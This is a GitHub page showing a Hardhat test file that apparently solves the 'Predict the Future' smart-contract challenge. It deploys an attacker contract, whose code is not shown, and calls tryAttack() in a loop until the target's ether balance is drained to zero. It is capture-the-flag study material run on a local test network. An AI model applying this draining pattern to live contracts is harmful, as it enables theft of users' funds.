generated from nicobevilacqua/hardhat-solidity-typescript-boilerplate
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathPredictTheFutureChallenge.test.ts
52 lines (39 loc) · 1.3 KB
/
PredictTheFutureChallenge.test.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import { expect } from 'chai';
import { Contract } from 'ethers';
import { ethers, network } from 'hardhat';
const { utils, provider } = ethers;
describe('PredictTheFutureChallenge', () => {
let target: Contract;
let attacker: Contract;
before(async () => {
const targetFactory = await ethers.getContractFactory('PredictTheFutureChallenge');
target = await targetFactory.deploy({
value: utils.parseEther('1'),
});
await target.deployed();
console.log('Target deployed on', target.address);
});
it('Exploit', async () => {
const attackerFactory = await ethers.getContractFactory('PredictTheFutureChallengeAttacker');
attacker = await attackerFactory.deploy(target.address, {
value: utils.parseEther('1'),
});
await attacker.deployed();
console.log('Attacker deployed on', target.address);
let tx;
let blockNumber;
while (!(await target.isComplete())) {
console.log('trying');
blockNumber = await provider.getBlockNumber();
console.log('blockNumber', blockNumber);
try {
tx = await attacker.tryAttack();
await tx.wait();
} catch (error) {}
}
});
after(async () => {
expect(await provider.getBalance(target.address)).to.equal(0);
expect(await target.isComplete()).to.equal(true);
});
});